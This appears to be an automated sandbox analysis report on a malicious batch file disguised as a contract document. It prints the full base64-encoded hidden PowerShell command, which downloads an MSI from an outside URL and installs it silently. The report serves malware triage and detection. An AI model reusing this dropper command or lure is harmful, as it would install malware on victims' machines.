Analysis

  • max time kernel
    150s
  • max time network
    118s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 12:11

General

  • Target
    Updated_Contract_Agreement.bat
  • Size 3KB
  • Sample260710-pc4z1acw2t
  • SHA256 1541841308697e6865076ace0fb6d0f307aaa2043d057f76a3ee7e92be99957f
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://pub-b81078cffc6d471e9d2d977de133536e.r2.dev/ZA_Access_My_Department.msi

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Updated_Contract_Agreement.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:980
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAPQAnAFMAdABvAHAAJwAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACQAdQByAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwBwAHUAYgAtAGIAOAAxADAANwA4AGMAZgBmAGMANgBkADQANwAxAGUAOQBkADIAZAA5ADcANwBkAGUAMQAzADMANQAzADYAZQAuAHIAMgAuAGQAZQB2AC8AWgBBAF8AQQBjAGMAZQBzAHMAXwBNAHkAXwBEAGUAcABhAHIAdABtAGUAbgB0AC4AbQBzAGkAJwAKACQAdABtAHAAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoACQAZQBuAHYAOgB3AGkAbgBkAGkAcgAsACcAVABlAG0AcAAnACwAJwBfAF8AcABrAGcAXwAnACsAWwBnAHUAaQBkAF0AOgA6AE4AZQB3AEcAdQBpAGQAKAApAC4AVABvAFMAdAByAGkAbgBnACgAKQArACcALgBtAHMAaQAnACkACgB0AHIAeQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACQAdABtAHAAKQB9AGMAYQB0AGMAaAB7AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4ATQBlAHMAcwBhAGcAZQBCAG8AeABdADoAOgBTAGgAbwB3ACgAJwBEAG8AdwBuAGwAbwBhAGQAIABmAGEAaQBsAGUAZAA6ACAAJwArACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBlAHgAaQB0ACAAMQB9AAoAaQBmACgALQBuAG8AdAAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB0AG0AcAApACkAewBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABvAHcAbgBsAG8AYQBkACAAaQBuAGMAbwBtAHAAbABlAHQAZQAgAC0AIABjAGgAZQBjAGsAIAB0AGgAZQAgAFUAUgBMAC4AJwAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBlAHgAaQB0ACAAMQB9AAoAdAByAHkAewAkAHAAPQBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAbQBzAGkAZQB4AGUAYwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACgAJwAvAGkAJwAsACQAdABtAHAALAAnAC8AcQBuACcALAAnAC8AbgBvAHIAZQBzAHQAYQByAHQAJwApACAALQBXAGEAaQB0ACAALQBQAGEAcwBzAFQAaAByAHUAOwAkAGMAPQAkAHAALgBFAHgAaQB0AEMAbwBkAGUAfQBjAGEAdABjAGgAewBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAQwBhAG4AbgBvAHQAIABsAGEAdQBuAGMAaAAgAGkAbgBzAHQAYQBsAGwAZQByADoAIAAnACsAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACsAJwAuACAASQBmACAAeQBvAHUAIABzAGUAZQAgAFQAaABpAHMAIABhAHAAcAAgAGMAYQBuAHQAIAByAHUAbgAgAG8AbgAgAHkAbwB1AHIAIABQAEMAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAZQByACAAaQBzACAAdABoAGUAIAB3AHIAbwBuAGcAIABhAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAeAA2ADQALwB4ADgANgAvAEEAUgBNADYANAApAC4AJwAsACcAQgBhAHQARwBlAG4AIABJAG4AcwB0AGEAbABsAGUAcgAnACkAfABPAHUAdAAtAE4AdQBsAGwAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAHQAbQBwACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgADAAOwBlAHgAaQB0ACAAMQB9AAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB0AG0AcAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIAAwAAoAaQBmACgAJABjACAALQBuAGUAIAAwACAALQBhAG4AZAAgACQAYwAgAC0AbgBlACAAMwAwADEAMAApAHsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAEkAbgBzAHQAYQBsAGwAIABmAGEAaQBsAGUAZAAuACAARQB4AGkAdAAgAGMAbwBkAGUAOgAgACcAKwAkAGMALAAnAEIAYQB0AEcAZQBuACAASQBuAHMAdABhAGwAbABlAHIAJwApAHwATwB1AHQALQBOAHUAbABsADsAZQB4AGkAdAAgACQAYwB9AA==
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4916

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/4916-0-0x00007FFB195CF000-0x00007FFB195D0000-memory.dmp

          memory/4916-3-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-4-0x0000029C75080000-0x0000029C750A2000-memory.dmp

          memory/4916-5-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-6-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-7-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-8-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-9-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-10-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-11-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-12-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-13-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-14-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-16-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-17-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-19-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-18-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-20-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-21-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-22-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-23-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-24-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

          memory/4916-26-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp